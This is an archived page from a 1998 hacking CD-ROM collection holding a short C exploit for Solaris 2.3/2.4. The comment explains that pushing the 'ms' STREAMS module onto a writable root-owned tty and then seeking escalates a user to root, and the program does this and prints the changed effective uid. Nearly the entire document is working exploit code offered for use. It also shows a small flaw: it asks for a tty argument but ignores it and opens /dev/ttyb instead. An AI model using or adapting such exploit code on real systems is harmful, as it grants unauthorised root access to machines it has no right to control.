home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / hacking / unix / sol_swap.asc < prev    next >
Encoding:
Text File  |  2003-06-11  |  999 b   |  40 lines

  1.  
  2. /*
  3.     Information for this security problem was obtained from Shawn Instenes
  4.     who claims he got it from some engineers at Sun. He said that a
  5.     patch existed for 2.4 but not 2.3. I was unable to find a patch
  6.     for 2.4 or 2.3.
  7.  
  8.     If a tty port that is writeable by the user and owned by root is
  9.     opened and the I_PUSH "ms" ioctl call made followed by an lseek
  10.     the effective uid of the user is changed to root.
  11. */
  12. #include <stdio.h>
  13. #include <unistd.h>
  14. #include <fcntl.h>
  15. #include <sys/types.h>
  16. #include <stropts.h>
  17. #include <sys/stat.h>
  18. #include <sys/conf.h>
  19.  
  20. main(argc, argv)
  21.     int         argc;
  22.     char*       argv[];
  23. {
  24.     int         fd;
  25.  
  26.     if (argc < 2)
  27.         {
  28.         fprintf(stderr, "usage: %s /dev/ttyX\n", argv[0]);
  29.         exit(1);
  30.         }
  31.  
  32.     fd = open("/dev/ttyb", O_RDWR);
  33.     printf("Your current effective uid is %d\n", geteuid());
  34.     ioctl(fd, I_PUSH, "ms");
  35.     lseek(fd, 0, 1);
  36.     printf("Your effective uid has been changed to %d\n", geteuid());
  37. }
  38.  
  39.  
  40.